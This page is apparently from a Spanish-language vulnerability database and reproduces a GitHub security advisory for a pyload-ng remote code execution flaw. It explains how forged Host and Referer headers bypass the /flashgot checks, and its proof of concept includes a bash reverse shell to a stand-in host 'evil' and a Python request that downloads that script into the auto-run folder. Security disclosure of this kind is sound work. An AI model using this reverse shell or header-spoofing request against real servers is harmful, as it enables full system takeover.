llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · pyload-ng

GHSA-W7HQ-F2PJ-C53G

pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -3 d de la divulgación
Exposición752 dDesde la divulgación, 28 oct 2024, 7:23 a. m.
Detección749 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.5.0b3.dev87
Monitoreo
Detectada
25 oct 24
28 oct 24
8 jun 26
17 nov 26
20 nov 26
25 oct 24
2 may 25
7 nov 25
15 may 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.5.0b3.dev87 pyload-ng · -3 d desde divulgación
Divulgación Publicada GHSA-W7HQ-F2PJ-C53G divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file.

Details

Configuration changes
1. Change the download folder to `/home/<user>/.pyload/scripts`
2. Change permissions for downloaded files:
1. Change permissions of downloads: on
2. Permission mode for downloaded files: 0744

Making the request to download files

The `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.

*Referer header check*

def flashgot():
    if flask.request.referrer not in (
        "http://localhost:9666/flashgot",
        "http://127.0.0.1:9666/flashgot",
    ):
        flask.abort(500)
  ...

*Host header check for local check*

def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

        if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
            "127.0.0.1:9666",
            "[::1]:9666",
        ):
            return func(*args, **kwargs)
        else:
            return "Forbidden", 403

    return wrapper

Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed

### PoC
Create a malicious file. I have created a reverse shell

#!/bin/bash
bash -i >& /dev/tcp/evil/9002 0>&1

Host this file at some URL, for eg: http://evil

Create a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed.

import requests

url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

data = {
    "package": "download_finished",  
    "passwords": "optional_password",  
    "urls": "http://evil/exp.sh",
    "autostart": 1,
}


response = requests.post(url, data=data, headers=headers)

When the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.

I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine

### Screenshots
*Download folder*

<img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76">

*`exp.sh` is downloaded*

<img width="714" alt="2" src="https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec">

*Script is run*

<img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9">

*Reverse shell connection is received*

<img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800">

### Impact
This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
pyload-ng< 0.5.0b3.dev87
0.5.0b3.dev102
0.5.0b3.dev87
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypipyload-ng
Corregida 0.5.0b3.dev87 -3 d 0.5.0b3.dev102 no afectada
Versiones corregidas0.5.0b3.dev87
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2024-47821
Otrahttps://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g
Otrahttps://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109
Otrahttps://github.com/pyload/pyload
Otrahttps://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-302.yaml

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.